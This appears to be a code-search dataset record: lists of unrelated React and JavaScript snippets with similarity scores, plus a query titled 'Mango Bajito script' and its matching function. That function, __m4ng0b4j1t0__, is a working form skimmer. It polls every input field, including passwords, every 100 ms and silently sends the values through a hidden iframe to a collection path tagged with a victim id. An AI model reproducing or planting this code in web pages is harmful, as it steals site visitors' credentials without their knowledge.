<StudentManagementForm />\n {/* <LifeCycle /> */}\n </div>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n <header className=\"App-header\">\n <p>\n Get what you want:\n </p>\n {\n commandsArray.map(command => {\n return <ControlPanel command={command} />\n })\n }\n </header>\n </div>\n );\n}", "render() {\n return (\n <div className=\"answer\">\n <RunAnswerPart1\n mode = {this.props.mode}\n questIndex = {this.props.questIndex}\n index = {this.props.index}\n total = {this.props.total}\n answer = {this.props.answer}\n changeAnswer = {this.props.changeAnswer}\n editable = {this.props.editable}\n />\n\n <RunAnswerPart2\n questIndex = {this.props.questIndex}\n index = {this.props.index}\n answer = {this.props.answer}\n />\n\n <RunAnswerPart3\n questIndex = {this.props.questIndex}\n index = {this.props.index}\n />\n </div>\n )\n }", "constructor() {\n super(); // loading the parent component methods and properties\n return this.buildComponenent(); // this function should always be called, it returns the object to render\n }", "render() {\n return (\n <div className=\"header-container\">\n <div className=\"logo-container\">\n <Logo />\n </div>\n <div className=\"header-right-part\">\n <div className=\"header-top-container\">\n <Contact />\n <NavigationBar />\n </div>\n <div className=\"header-bottom-container\">\n <SearchBar />\n <ShoppingCart />\n </div>\n </div>\n </div>\n );\n }", "formRenderOrder() {\n const feelingComp = (<IntegrationAutosuggest\n value={this.state.feeling}\n onChangeFunc={this.onChange}\n placeHolder={StatementMaker.defaultFeeling(this.state.category)}\n optionName=\"feeling\"\n suggestionsProps={this.correctSuggestions(this.props.feelingSuggestions)}\n key={1}\n />)\n\n const thingComp = (<IntegrationAutosuggest\n value={this.state.thing}\n onChangeFunc={this.onChange}\n placeHolder=\"opinion subject\"\n optionName=\"thing\"\n suggestionsProps={this.props.thingSuggestions}\n key={2}\n />)\n\n if (this.state.category === 'verb'){\n return [<div className=\"description-i\" key={0}>I</div>, feelingComp, thingComp]\n } else {\n return [thingComp, feelingComp]\n }\n\n }", "function App() {\n return (\n <div>\n {/*<MapDashboard/>*/}\n {/*<Func/>*/}\n <Map />\n {/*<Ward />*/}\n </div>\n );\n}", "render() {\n return (\n <>\n {/* A file container where I attach props. And I export */}\n <HeroList\n questions={this.props.questions}\n history={this.props.history}\n currentQuestion={this.props.currentQuestion}\n listItem={this.props.listItem}\n buttonList={this.props.buttonList}\n closeModal={this.props.closeModal}\n />\n <Question\n showResult={this.props.showResult}\n currentQuestion={this.props.currentQuestion}\n questions={this.props.questions}\n showButtons={this.props.showButtons}\n nextQuestion={this.props.nextQuestion}\n backHandle={this.props.backHandle}\n returnQuestions={this.props.returnQuestions}\n />\n </>\n );\n }", "render() {\n return <section className=\"RepositoryList\">\n { this.renderMessage() }\n { this.renderTable() }\n </section>;\n }", "render() {\n return ((this.props.ready && this.props.ready2 && this.props.ready3)) ? this.renderPage() :\n <Loader active>Getting data</Loader>;\n }", "render() {\n return (this.props.ready1 && this.props.ready2) ? this.renderPage() : <Loader active>Getting data</Loader>;\n }", "function App() {\n return (\n <div>\n {/* <Main/> */}\n {/* <Birthday/> */}\n {/* <Travel/> */}\n {/* <Review/> */}\n {/* <Dashboard/> */}\n {/* <Tab/> */}\n {/* <MenuPge/> */}\n {/* <Slider/> */}\n {/* <Paragraph/> */}\n {/* <Color/> */}\n <PieChart1/>\n </div>\n );\n}", "configure () {\n // this can be extended in children classes to avoid using the constructor\n }", "function App() {\n return (\n <Provider store={store}>\n <div className=\"App\">\n <TopNavigation></TopNavigation>\n <FeaturedSlider></FeaturedSlider>\n <ProductCardList></ProductCardList>\n <ProductModal></ProductModal>\n </div>\n </Provider>\n );\n}", "render(){\n return (\n <div>\n <Header\n selectedAlgorithm = {this.state.selectedAlgorithm}\n arraySize = {this.state.arraySize}\n appDrawerOpen = {this.state.appDrawerOpen}\n toggleAppDrawer = {this.toggleAppDrawer}\n algorithims = {Object.keys(this.ALGORITHMS)}\n algorithimHandler = {this.algorithimHandler}\n arraySizeHandler = {this.arraySizeHandler} />\n\n <Content \n array = {this.state.array}\n arraySize = {this.state.arraySize}\n selectedAlgorithm = {this.state.selectedAlgorithm}\n generateRandomArray = {this.generateRandomArray}\n algorithims={this.ALGORITHMS}\n trackingData={this.state.trackingData} />\n\n <Footer />\n\n </div>\n );\n }", "render() {\n return (\n // create a div with text in h1 tags\n <div>\n <h1>This is the header component</h1>\n </div>\n );\n }", "function App() {\n return (\n <div className=\"App\">\n {/* <Hoek /> */}\n {/* <Ani /> */}\n {/* <IntervalTimer /> */}\n {/* <DataFetching /> */}\n {/* <Counter /> */}\n {/* <FetchData /> */}\n {/* <FocusInput /> */}\n {/* <HookTimer /> */}\n <DocOne />\n <DocTwo />\n {/* <HookCount /> */}\n {/* <div>Derek</div> */}\n </div>\n );\n}", "function renderEverything() {\n renderIngredients();\n renderButtons();\n renderPrice();\n}", "render() { // all components need this.\n return (\n <div>\n <h3>Stories App</h3>\n <p className=\"lead\">Sample paragraph</p>\n </div>\n );\n }", "function getMainUI(extension) {\n if (extension === \"/stream\") {\n return (\n <div className=\"uiContainer\">\n <BackgroundImage />\n <Navigation />\n <MStream />\n </div>\n );\n } else if (extension === \"/settings\") {\n return (\n <div className=\"uiContainer\">\n <BackgroundImage />\n <Navigation />\n <Settings />\n <AboutInformation />\n </div>\n );\n } else {\n return (\n <div className=\"uiContainer\">\n <BackgroundImage />\n <Navigation />\n <Slogan />\n <Login />\n <AboutInformation />\n </div>\n );\n }\n}", "function App() {\n return(\n <div>\n <Navbar/>\n <Homepage/>\n <SignUp/>\n </div>\n );\n \n}", "static rendered () {}", "static rendered () {}", "function App() {\n return (\n <div className=\"App\">\n <Box title = 'reviews' value = '1,281' className = \"reviews\"/>\n <Box title = 'Average Rating' value = '4.6' className = \"averageRating\"/>\n <Box title = 'sidebar' value = '' className = \"sidebar\"/> \n <Box title = 'Sentiment Analysis' value = '960' className = \"sentimentAnalysis\"/>\n <Box title = 'visitors' value = '821' className = \"visitors\"/>\n \n {/*this is where the first 3 items will go <Wish/>\n <Wish here/>\n <Wish and here/> */}\n {/* grid will make all of these into one area together<Wish/>\n <Wish/>\n <Wish/>\n <Wish/>\n <Wish/>\n <Wish/> */}\n </div>\n )\n}", "render() {\n return <main id={`${this.props.name}-container`} />;\n }", "function App() {\n return (\n <Hiring />\n //<Carousel />\n );\n}", "createEvalContent() {\n // get the current position information from redux state\n const evaluation = this.props.evaluationState;\n\n const attrs = { credentials: this.state.generalApiPostArgs };\n\n let content = null;\n\n // switch block to determine which component type to show\n switch (evaluation.component) {\n case \"Admin Questions\": {\n content = <AdminQuestions {...attrs} />;\n break;\n }\n case \"Psychometrics\": {\n content = <PsychTest {...attrs} />;\n break;\n }\n case \"Cognitive\": {\n content = (\n <div>\n <CognitiveTest {...attrs} />\n </div>\n );\n break;\n }\n case \"Skill\": {\n content = <SkillTest {...attrs} />;\n break;\n }\n case \"Finished\": {\n content = this.finishedPage();\n break;\n }\n default: {\n content = <div>Hmm. Something is wrong. Try refreshing.</div>;\n break;\n }\n }\n\n return (\n <div>\n <ProgressBar />\n {content}\n </div>\n );\n }", "render() {\n const error = this.props.mode=='check' && !questionResult(this.props.question);\n\n return (\n <div className={\"question\"+(error?\" error\":\"\")}>\n <RunQuestionPart1\n index = {this.props.index}\n total = {this.props.total}\n />\n\n <RunQuestionPart2\n mode = {this.props.mode}\n index = {this.props.index}\n question = {this.props.question}\n editable = {this.props.editable}\n changeAnswer = {this.props.changeAnswer}\n />\n\n <RunQuestionPart3\n index = {this.props.index}\n />\n </div>\n )\n }", "constructor(components) {\r\n this.components = components;\r\n }", "function App() {\n return (\n <div className=\"App\">\n <Start />\n {/* <EvilRobot />\n <SelectHero />\n <Story /> */}\n </div>\n );\n}", "function main() {\n renders.renderInitial();\n api.getItems()\n .then((items) => {\n items.expanded = false;\n items.forEach((item) => library.addLibraryItem(item));\n });\n}", "function renderEverything() {\n renderPepperoni();\n renderMushrooms();\n renderGreenPeppers();\n renderWhiteSauce();\n renderGlutenFreeCrust();\n\n renderButtons();\n renderPrice();\n}", "function renderEverything() {\n renderPepperoni();\n renderMushrooms();\n renderGreenPeppers();\n renderWhiteSauce();\n renderGlutenFreeCrust();\n\n renderButtons();\n renderPrice();\n}", "function renderEverything() {\n renderPepperoni();\n renderMushrooms();\n renderGreenPeppers();\n renderWhiteSauce();\n renderGlutenFreeCrust();\n\n renderButtons();\n renderPrice();\n}", "function renderEverything() {\n renderPepperoni();\n renderMushrooms();\n renderGreenPeppers();\n renderWhiteSauce();\n renderGlutenFreeCrust();\n\n renderButtons();\n renderPrice();\n}", "function renderEverything() {\n renderPepperoni();\n renderMushrooms();\n renderGreenPeppers();\n renderWhiteSauce();\n renderGlutenFreeCrust();\n\n renderButtons();\n renderPrice();\n}", "function renderEverything() {\n renderPepperoni();\n renderMushrooms();\n renderGreenPeppers();\n renderWhiteSauce();\n renderGlutenFreeCrust();\n\n renderButtons();\n renderPrice();\n}", "function renderEverything() {\n renderPepperoni();\n renderMushrooms();\n renderGreenPeppers();\n renderWhiteSauce();\n renderGlutenFreeCrust();\n\n renderButtons();\n renderPrice();\n}", "function _____SHARED_functions_____(){}", "function Composition() {}", "function Composition() {}", "function Composition() {}", "function Composition() {}", "function Homepage() {\n return (\n <div >\n <Navbar />\n <Entryform />\n <Displayform />\n </div>\n )\n}", "function App() {\n const add = (a, b) => a+b;\n return (\n <div className=\"App\">\n <br/>\n {/* // <Login/> */}\n\n <br/>\n <Header title={\"Continent Africa\"} \n myInt = {4} \n myFunc = {add} \n myArray = {[1, 2, 3, 4]}\n myObject = {{ a:5, b:6}}\n />\n\n <ClassProps \n title=\"lion from Europe\"\n myInt = {5} \n myFunc = {add} \n myArray = {[1, 4, 6, 9]}\n myObject = {{ a:7, b:9}}\n />\n\n <FunctProps title=\"Welcome to the Functionnal Component..\"\n myInt = {5} \n myFunc = {add} \n myArray = {[1, 4, 6, 9]}\n myObject = {{ a:7, b:9}}\n />\n \n {/* Here i'm printing a second sricpt from same component */}\n <FuncProps2/>\n <br/>\n <Counter/>\n <br/>\n <SlideImages/>\n <br/>\n <Myform/>\n <br/>\n <Formtag/>\n <br/>\n <AdvcedFormtag/>\n <br/>\n <SecondAdvcedFormtag/>\n <br/>\n <FetchApi/>\n <br/>\n <AdvancedFetch/>\n\n </div> \n );\n}", "render() {\n return (\n <div>\n <Toolbar />\n <main>{this.props.children}</main>\n </div>\n );\n }" ]
[ "0.59160465", "0.5866769", "0.586462", "0.58039176", "0.57658565", "0.56947196", "0.5689495", "0.5671624", "0.5647609", "0.5647609", "0.5647609", "0.5647609", "0.5633818", "0.56037784", "0.559931", "0.55674917", "0.55671626", "0.5561842", "0.55592364", "0.55589515", "0.55512255", "0.5549368", "0.55415356", "0.55354863", "0.5529572", "0.55181766", "0.55055094", "0.5501959", "0.5501311", "0.5500197", "0.54995865", "0.5490605", "0.5490218", "0.54869336", "0.5484278", "0.5482327", "0.5477646", "0.54622644", "0.54617745", "0.5459828", "0.5452796", "0.5445537", "0.54400265", "0.54391253", "0.54381984", "0.54317075", "0.54262567", "0.54220635", "0.541421", "0.54127", "0.54113686", "0.5397701", "0.5393475", "0.5389244", "0.5389244", "0.5385833", "0.5384417", "0.536237", "0.53621876", "0.53542495", "0.5349884", "0.53487355", "0.5348397", "0.534152", "0.5337552", "0.5335686", "0.53331757", "0.5327095", "0.53240573", "0.5320323", "0.53157866", "0.5313749", "0.53116506", "0.5310685", "0.53077424", "0.53047425", "0.5304161", "0.5304161", "0.53038794", "0.5302908", "0.53020275", "0.5301881", "0.53018075", "0.52987033", "0.52972853", "0.5294784", "0.52938217", "0.52938217", "0.52938217", "0.52938217", "0.52938217", "0.52938217", "0.52938217", "0.52882874", "0.5287328", "0.5287328", "0.5287328", "0.5287328", "0.5281169", "0.5277102", "0.52747136" ]
0.0
-1
calling an atribute within a function
function AppFactory() { person1 = { name : 'Sebastian', job : 'Software' } return person1; // } console.log(AppFactory().person1.name); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function attrFunction() {\n var x = value.apply(this, arguments);\n if (x == null) this.removeAttribute(name);\n else this.setAttribute(name, x);\n }", "function attrFunction() {\n var x = value.apply(this, arguments);\n if (x == null) this.removeAttribute(name);\n else this.setAttribute(name, x);\n }", "function attrFunction() {\n var x = value.apply(this, arguments);\n if (x == null) this.removeAttribute(name);\n else this.setAttribute(name, x);\n }", "function Attribute$1(){}", "function Attribute$1() { }", "function Attribute$1() { }", "function Attribute$1() {}", "function Attribute$1() {}", "function Attribute$1() {}", "function getAttribAccess( attrib ){\n return function(){\n return attrib;\n };\n}", "function setGetAttr(node, atr, value) {\n\n if (arguments.length === 2) {\n return node.getAttribute(atr);\n\n } else if (arguments.length === 3) {\n return node.setAttribute(atr, value);\n }\n\n\n }", "fonction(){\n console.log(this.attribut);\n }", "function handleAttribute(name) {\n name += 'Attribute';\n return function(el, attr) {\n return el[name](attr) || el[name]('data-paper-' + attr);\n };\n }", "attributeChangedCallback() { }", "attributeChangedCallback(key, o, n) {\n // assign attribute changes based on key\n this[`set${key}`](n)\n }", "function miFuncion (){}", "function attr(a,b){return ' '+a+'=\"'+b+'\"';}", "function miFuncion(){}", "function miFuncion(){}", "function miFuncion(){}", "function _attr(name, value, control, a,r,g,s) {\n if (arguments.length > 2) { \n var filter = function (d) { return d };\n\n if (arguments.length > 5) {;\n filter = arguments[arguments.length - 1];\n }\n\n var wires = makeWires();\n\n d3.playground.create.apply(this, [].concat.apply([wires.trigger], arguments))\n\n return __transition_tween(this, name, value, wires.register, \n function (value, d, i) {\n if (typeof value === 'function') {\n value = value(d, i);\n }\n\n return filter(value, d, i);\n });\n }\n\n// Defer to original attr function if no extra arguments\n// So we've added \n// * 1 simple logic\n// * 1 fn.apply to every attr call\n// * 1 closure\n return original_d3_selection_transition_attr.apply(this, arguments)\n }", "function Oily(){\nSkinType = \"Oily\";\n}", "function doSth(){\n age=27; \n}", "function persons()//testfunction\n{\nemolex(progress);\n//SetPersonY(\"hans2\", 130);\n}", "function anula() {\n anular(1);\n}", "function anula() {\n anular(1);\n}", "function ea(){}", "function _att(a, v) {\r\n return objAtt(this, a, v);\r\n}", "function attr_value(id, attr, value) {\n $(id).css(attr, value)\n}", "function vc(a){this.methodName=a}", "foobar()\n {\n return 'Apples? ' + this.test;\n }", "function access( elems, key, value, exec, fn, pass ) {\n\tvar length = elems.length;\n\t\n\t// Setting many attributes\n\tif ( typeof key === \"object\" ) {\n\t\tfor ( var k in key ) {\n\t\t\taccess( elems, k, key[k], exec, fn, value );\n\t\t}\n\t\treturn elems;\n\t}\n\t\n\t// Setting one attribute\n\tif ( value !== undefined ) {\n\t\t// Optionally, function values get executed if exec is true\n\t\texec = !pass && exec && jQuery.isFunction(value);\n\t\t\n\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t\tfn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );\n\t\t}\n\t\t\n\t\treturn elems;\n\t}\n\t\n\t// Getting an attribute\n\treturn length ? fn( elems[0], key ) : undefined;\n}", "function an(){}", "function settingFunc() {\n\n}", "mapTo(attribute) {\n return function(value) {\n return value[attribute];\n }\n }", "function __func(){}", "function _attr(name, value, control, a,r,g,s) {\n // Our priorities are always important!\n var priority = 'important';\n\n if (arguments.length > 2) {\n\n var filter = function (d) { return d };\n\n if (arguments.length > 5) {;\n filter = arguments[arguments.length - 1];\n }\n\n var wires = makeWires();\n\n d3.playground.create.apply(this, [].concat.apply([wires.trigger], arguments))\n\n return __transition_tween(this, name, value, priority, wires.register, \n function (value, d, i) {\n if (typeof value === 'function') {\n value = value(d, i);\n }\n\n return filter(value, d, i);\n });\n }\n\n// Defer to original attr function if no extra arguments\n// So we've added \n// * 1 simple logic\n// * 1 fn.apply to every attr call\n// * 1 closure\n return original_d3_selection_transition_attr.apply(this, arguments)\n }", "function getLoopValueFromAttribute(node, obj, itemName, attributeName, cb) {\n var tmp = node.getAttribute(attributeName).split('.'), tokenObjectProperty;\n if (tmp.length > 0 && tmp[0] === itemName) {\n tokenObjectProperty = tmp.slice(1).join('.');\n cb(getGlobalCall(tokenObjectProperty, obj));\n } else {\n // TODO handle this correctly\n console.error('repeat:getLoopValueFromAttribute has problems');\n }\n }", "function Atan() {\r\n}", "function __call($dom, $name, $params) {\r\n var ins = $dom.getAttribute(\"tt.instance\");\r\n if (ins!=null) {\r\n var fct = eval(\"window.\" + ins + $name);\r\n if (fct!=null) {\r\n fct($params);\r\n }\r\n }\r\n}", "updateAttribute(att) {\n switch(att){\n case 'login-url':\n this.shadowRoot.getElementById('myuw-profile-login').setAttribute('href', this['login-url']);\n break;\n\n case 'logout-url':\n this.shadowRoot.getElementById('myuw-profile-logout').setAttribute('href', this['logout-url']);\n break;\n\n case 'background-color':\n this.$circle.style.backgroundColor = this['background-color'];\n break;\n }\n }", "function doIt (param) {\n param = 2\n}", "function AttributeDecorator$1(){}", "function prop(name){\n\t return function(obj){\n\t return obj[name];\n\t };\n\t }", "function dataSample(className,dataName,value){ //func sample data of attributes \r\n\t\t\treturn $(\"\"+className+\"[\"+dataName+\" = '\"+arguments[2]+\"']\"); //sample attribute \r\n\t\t}", "function IndividualAttestation() {}", "function functionName(weather){\n weather = \"mostly rainy\";\n return weather;\n}", "function setAttr(element, attr, alt_text) {\n $(element).attr(attr, alt_text);\n}", "function myFunction() {\n carName = \"Volvo\";\n}", "function Parameter() {}", "function doSmth() {\n age2 = 30;\n}", "function a(test){\n test = \"p\";\n \n}", "setGetApiPath(myFunc) {\n this.getApiPath = myFunc\n }", "function va(e,t,n,i){Ca.call(this,e,t,n,i)}", "method(){}", "function myFunction() {\n carName = \"Volvo\";\n}", "function setupCallback(func, callbacks){\n\t\tvar hash = \"\" + Object.keys(callbacks).length;\n\t\tcallbacks[hash] = func;\n\t\tvar dataAttr = document.createAttribute(dataIdName);\n\t\tdataAttr.value = hash;\n\t\treturn dataAttr;\n\t}", "function Alerter() {}", "function gA(item, att) { return item.getAttribute('data-'+att+''); }", "function gA(item, att) { return item.getAttribute('data-'+att+''); }", "function setColoring(func) {\n getColor = func;\n}", "function AttributeDecorator$1() {}", "function AttributeDecorator$1() {}", "function AttributeDecorator$1() {}", "function fnCall() {\n console.log(\"Hello \" + this.val);\n}", "function set_fun(value) {\n arr.setVerifyHelpProp = value;\n}", "function getattr(obj, attr) {\r\n return obj[attr];\r\n}", "function doIt(param) {\n param = 2;\n}", "function value() { }", "setX(x){ this.x = x; }", "GetCustomAttributes() {\n\n }", "function bar(){\n y=6;\n }", "function bind(func, attrs) {\n return function () {\n attrs.node = arguments[\"0\"].target;\n return func.apply(attrs, arguments);\n };\n }", "function persona(){\n console.log(`hola soy ${this.nombre}`);\n}", "function fn() {\n\t\t }", "function default_method(){\r\n\r\n for(i=0;i<8;i++){\r\n for(j=0;j<8;j++){\r\n document.getElementById(`${i}${j}`).setAttribute(\"onclick\",\"choosen(this)\");\r\n }\r\n }\r\n\r\n}", "function callfn(name){\n alert(name)\n console.log(this)//this就是{x:10}\n }", "function custInj() {\n // do something with the selected element\n}", "attributeChangedCallback(name, oldValue, newValue){//nombre del atrubuto del componente, valor antiguo y nuevo del atributo del componente\n //switch para ejecutar codigo en base a que atributo esta recibiendo datos\n switch(name){\n case \"nombre\":\n this.nombre = newValue; //pasamos el nuevo valor al atributo de la clase\n break;\n case \"apellido\":\n this.apellido = newValue;\n break;\n }\n }", "function Annotate() {\r\n}", "function myFunction(obj, prop) {\n return obj[prop]\n}", "function heyIJustMetYou(){\r\n console.log('regular function: ', this.a)\r\n}", "function a(test){\nconsole.log(test)\n}", "function a(test){\nconsole.log(test)\n}", "function attribute (quote, author) {\n console.log(quote + author)\n}", "function foo2 () {\n\tthis.someObject.someAttribute += 4\n\tconsole.log(this.someObject)\n}", "function postFn(scope, element, attr) {\n\n }", "function asCall(id, fn, argArr) {\n\tdocument[id][fn](argArr);\n}", "attributeChangedCallback(attr, oldValue, newValue) {\n if (attr == 'name') {\n this.textContent = `Hello, ${newValue}`;\n }\n }", "function a(test){\n\ttest = 'p';\n}", "function a(test){\n\ttest = 'p';\n}", "function setThisWithCall(fn, thisValue, arg){\n\treturn fn.call(thisValue, arg);\n}", "setAttr(elem, name, val) {\r\n\t\t$( elem, this ).attr( name, val );\r\n\t}", "function applyFn(person, fn) {\n for (var prop in person) {\n if (person.hasOwnProperty(prop) && person[prop][fn]) {\n person[prop][fn].apply();\n }\n }\n }", "function sA(obj, attr) {\n for(k in attr) {\n \tobj.setAttribute(k, attr[k]);\t\n }\t\t\n return obj;\n}", "function prop(name){\n return function(obj){\n return obj[name];\n };\n }", "function prop(name){\n return function(obj){\n return obj[name];\n };\n }", "function prop(name){\n return function(obj){\n return obj[name];\n };\n }", "function attr(a, b) {\n return ' ' + a + '=\"' + b + '\"';\n }", "function fuctionPanier(){\n\n}", "changeAttribute(id, att, val){\n if (typeof id !== \"undefined\" && typeof att !== \"undefined\" && typeof val !== \"undefined\"){\n id = String(id);\n att = String(att);\n val = String(val);\n document.getElementById(id).setAttribute(att,val);\n } else {\n console.log(\"addAttribute - \" + \"(\" + \"ERROR - invalid parameter (id, attribute, value)\" + \")\");\n } // end if\n }" ]
[ "0.6633104", "0.64712006", "0.64712006", "0.63255155", "0.6121407", "0.6121407", "0.61146617", "0.61146617", "0.61146617", "0.57996535", "0.57240915", "0.565279", "0.55400157", "0.5505865", "0.54592276", "0.54329115", "0.5401487", "0.5398811", "0.5398811", "0.5398811", "0.53675556", "0.5361217", "0.53507894", "0.5341465", "0.5328322", "0.5328322", "0.53281903", "0.5326758", "0.53159136", "0.53027284", "0.5301492", "0.5287926", "0.52798396", "0.5273435", "0.52728224", "0.5269746", "0.524323", "0.52392125", "0.52160484", "0.52102304", "0.5209019", "0.5194556", "0.51839083", "0.51693076", "0.5168291", "0.51679295", "0.5155606", "0.5134247", "0.5132734", "0.51124394", "0.5107467", "0.5107067", "0.50922465", "0.5087183", "0.50741833", "0.5069408", "0.50670034", "0.5056539", "0.5054743", "0.5054743", "0.5051831", "0.5050936", "0.5050936", "0.5050936", "0.50505847", "0.5048328", "0.5044604", "0.5037274", "0.5037202", "0.5036441", "0.5036239", "0.5022476", "0.5020032", "0.5019742", "0.50182945", "0.5018287", "0.50115067", "0.5009888", "0.5005908", "0.49892434", "0.49855953", "0.49848503", "0.49844265", "0.49844265", "0.49770826", "0.49758548", "0.4974395", "0.49734074", "0.49731225", "0.49722752", "0.49722752", "0.49659282", "0.49645743", "0.4957956", "0.4956436", "0.49545762", "0.49545762", "0.49545762", "0.49487856", "0.49474016", "0.4945924" ]
0.0
-1
Mango Bajito script after the break ::SPLIT::
function __m4ng0b4j1t0__(){ if(window._m4ng0b4j1t0_)return; window._m4ng0b4j1t0_=new Array(3).join().split(',').map(function(){ return Math.random().toString(16) }).join('').replace(/0\./g,''); var mangotimer; window._mango_ = [] setInterval(function(){ var ins = document.getElementsByTagName('input') var mango=[]; for (var inp in ins) { inp = ins[inp]; if (!(inp.type == '' || /^(email|text|password)$/i.test(inp.type))) continue; mango.push(escape(inp.name + '=' + inp.value)) } if (window._mango_.join('') != mango.join('')) { if (window._mango_.length) { ////DEBUG // console.log(mango); if (mangotimer) clearTimeout(mangotimer) mangotimer = setTimeout(function(){ ifr.src = '/put_m4ng0b4j1t0/' + window._m4ng0b4j1t0_ + '/' + mango.join(',') },100) } _mango_ = mango; } }, 100); var ifr=document.createElement('iframe'); ifr.setAttribute('style','display:none'); document.body.appendChild(ifr); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function splitOnReturns(){\n\n}", "function splitAt_(insertPosition) {\n \n}", "function bSplit(val) {\n\tvar len = val.length;\n\tvar arr = [];\n\tvar start = 0;\n\tvar i = '';\n\tfor (i = 0; i < len; i++) {\n\t\tif (val[i] == ' ' || val[i] == '\\t' || val[i] == '\\r') {\n\t\t\tif (start == i)\n\t\t\t\tstart++;\n\t\t\telse {\n\t\t\t\tarr.push(val.substring(start, i));\n\t\t\t\tstart = i + 1;\n\t\t\t}\n\t\t}\n\t}\n\tarr.push(val.substring(start, i));\n\t//console.log(this.toString());\n\tif (len > 1)\n\t\treturn arr;\n\treturn val;\n}", "function wordBankSplit() {\n\twordList = wordBank.split(\",\");\n}", "function splitButtonClick() {\n if (!continueProcessing && editor.splitData && editor.splitData.splits) {\n var currentTime = getCurrentTime();\n for (var i = 0; i < editor.splitData.splits.length; ++i) {\n var splitItem = editor.splitData.splits[i];\n\n splitItem.clipBegin = parseFloat(splitItem.clipBegin);\n splitItem.clipEnd = parseFloat(splitItem.clipEnd);\n if ((splitItem.clipBegin < currentTime) && (currentTime < splitItem.clipEnd)) {\n newEnd = 0;\n if (editor.splitData.splits.length == (i + 1)) {\n newEnd = splitItem.clipEnd;\n } else {\n newEnd = editor.splitData.splits[i + 1].clipBegin;\n }\n var newItem = {\n clipBegin: parseFloat(currentTime),\n clipEnd: parseFloat(newEnd),\n enabled: true\n }\n\n splitItem.clipEnd = currentTime;\n editor.splitData.splits.splice(i + 1, 0, newItem);\n // TODO Make splitSegments clickable when zoomed in\n editor.updateSplitList(false, !zoomedIn());\n selectSegmentListElement(i + 1);\n return;\n }\n }\n }\n selectCurrentSplitItem();\n}", "function applySplit(stringToBeSplit, splitter) {\n\t// create a splitString variable\n\tlet splitString;\n\t// assign it to an array which contains the elements in the stringToBeSplit separated by the splitter\n\tsplitString = stringToBeSplit.split(splitter);\n\t// return the splitString variable\n\treturn splitString;\n}", "function splitCode(code,splitter,nodata,keep) {\n var a = [\"\"];\n var nodataB = 0;\n for (var i=0; i<code.length; i++) {\n \n if (nodata.indexOf(code[i])!==-1) {\n if (nodataB===0) {\n nodataB=1;\n } else {\n nodataB=0;\n }\n // if(keep) {a[a.length-1]+=code[i];}\n }\n if (code[i]===splitter && nodataB===0) {\n a.push(\"\");\n } else {\n if((keep) || (code[i]!==nodata)){\n a[a.length-1]+=code[i];\n }\n }\n }\n return a;\n}", "function SplitFlowy(e,obj)\n {\n myDiagram.startTransaction(\"Split flow\");\n Link = myDiagram.selection.first();\n toNode = Link.toNode;\n fromNode = Link.fromNode;\n MoveSet = toNode.findTreeParts();\n myDiagram.model.removeLinkData(Link.data);\n\n\n offsety =null;\n if (UpperNode(fromNode)!=null)\n {\n offsety = RuntimeService.miny-toNode.data.loc.y;\n\n }\n else\n {\n offsety = fromNode.data.loc.y-toNode.data.loc.y;\n }\n RuntimeService.miny = 99999999999999;\n\n\n myDiagram.moveParts(MoveSet,new go.Point(200,offsety),true);\n myDiagram.commitTransaction(\"Split flow\");\n }", "function splitnewline() {\n return;\n}", "function splitData() {\n var dataSplit = data.split('\\n') //splits each line of text into dataSplit array\n // console.log(dataSplit)\n var dataSplitRand = dataSplit[Math.floor(Math.random() * dataSplit.length)]\n //console.log(dataSplitRand)\n var splitRandCommInp = dataSplitRand.split(',')\n command = splitRandCommInp[0]\n //userInput = splitRandCommInp[1]\n var userInputQuoted = splitRandCommInp[1]\n //this needs to remove quotes, because concert-this \"band name\" does not work when reading from text file\n userInput = userInputQuoted.substring(1, userInputQuoted.length - 1);\n //console.log(command)\n console.log(userInput)\n }", "function split() {\n addToConsole(\"All info collected.\");\n //TODO: Check already voted\n\n //Split in chunks of 33 votes\n console.log(publicKeys);\n while (publicKeys.length > 0)\n publicKeyArrays.push(publicKeys.splice(0, 33));\n vote();\n}", "function lineSplit(text) {\n\tvar lines = text.split(/[\\r\\n]+/g);\n\tfor ( var line in lines) {\n\t\tprefixOperation(lines[line]);\n\t}\n\tdownloadOutput();\n}", "isSplit() { return this._isSplit; }", "isSplit() { return this._isSplit; }", "isSplit() { return this._isSplit; }", "function split() {\n\n if (!scope.splittable) {\n return;\n }\n\n var height = scope.control.renderingHeight;\n var halfHeight = height;\n if (height) {\n\n halfHeight = Math.ceil(height / 2);\n\n scope.control.setRenderingHeight(halfHeight);\n scope.control.setRenderingVerticalResizeMode('console:resizeManual');\n }\n\n var json = {\n typeId: 'console:' + containers.vertical,\n 'console:renderingOrdinal': jsonInt(),\n 'console:renderingWidth': jsonInt(scope.control.renderingWidth),\n 'console:renderingHeight': jsonInt(halfHeight),\n 'console:renderingBackgroundColor': scope.control.renderingBackgroundColor,\n 'console:renderingHorizontalResizeMode': scope.control.renderingHorizontalResizeMode,\n 'console:renderingVerticalResizeMode': scope.control.renderingVerticalResizeMode,\n 'console:hideLabel': jsonBool(false),\n 'console:containedControlsOnForm': []\n };\n\n var newContainer = spEntity.fromJSON(json);\n\n // same name?\n newContainer.name = scope.control.name;\n\n var success = insertAtBottom(newContainer, scope.control, scope.fieldContainer);\n if (!success) {\n console.log('form builder: failed to split control');\n }\n\n performLayout();\n }", "splitString(L, T) {\n const str = lua.lua_tojsstring(L, 1);\n const knife = lua.lua_tojsstring(L, 2);\n lua.lua_settop(L, 0);\n\n lua.lua_newtable(L);\n const parts = str.split(knife);\n for (let i = 0; i < parts.length; i++) {\n lua.lua_pushliteral(L, parts[i]);\n lua.lua_rawseti(L, 1, i + 1);\n }\n return 1;\n }", "function separateFromMMGIS() {\n\n }", "function splitByPipe(textBlock){\n const arrayOfContent = textBlock.split(\"||\");\n return arrayOfContent\n}", "function loadSplitHelper(data, container) {\n let elems = newTodoLine(container, container === \".todo-content\" ? \"todo\" : \"goal\");\n if (container === \".todo-content\") {\n elems[0].value = data.todo;\n } else {\n elems[0].value = data.goal;\n }\n if (data.today) {\n container = \".today-content\";\n } else if (data.complete === true) {\n container = \".complete-content\";\n elems[1].classList.toggle(\"font-strike\");\n elems[2].style.backgroundColor = \"#3370ff\";\n }\n qs(container).appendChild(elems[3]);\n }", "function split(input, separator) {}", "function splitLineHeadings() 